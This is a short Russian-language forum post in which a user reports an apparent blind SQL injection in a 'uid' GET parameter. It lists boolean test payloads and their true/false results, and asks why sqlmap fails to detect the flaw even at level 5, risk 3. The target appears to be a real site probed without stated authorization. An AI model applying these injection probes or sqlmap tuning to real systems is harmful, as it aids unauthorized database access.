
16.04.2017, 17:44
|
|
Участник форума
Регистрация: 25.04.2013
Сообщений: 153
С нами:
6868406
Репутация:
2
|
|
Вообщем есть скуль, вроде бы не фейлс поситив, инъекция блинд.
URL encoded GET input uid was set to -1 OR 3*2*1=6 AND 00095=00095
Tests performed:
- -1 OR 2+95-95-1=0+0+0+1 => TRUE
- -1 OR 3+95-95-1=0+0+0+1 => FALSE
- -1 OR 3*2 FALSE
- -1 OR 3*2>(0+5+95-95) => FALSE
- -1 OR 2+1-1-1=1 AND 00095=00095 => TRUE
- -1 OR 00095=00095 AND 3+1-1-1=1 => FALSE
- -1 OR 3*2=5 AND 00095=00095 => FALSE
- -1 OR 3*2=6 AND 00095=00095 => TRUE
- -1 OR 3*2*0=6 AND 00095=00095 => FALSE
- -1 OR 3*2*1=6 AND 00095=00095 => TRUE
но скульмап почему то нивкакую не хочет зацепиться за линк, есть идеи?
level 5 risk 3 пробовал, не видит.
|
|
|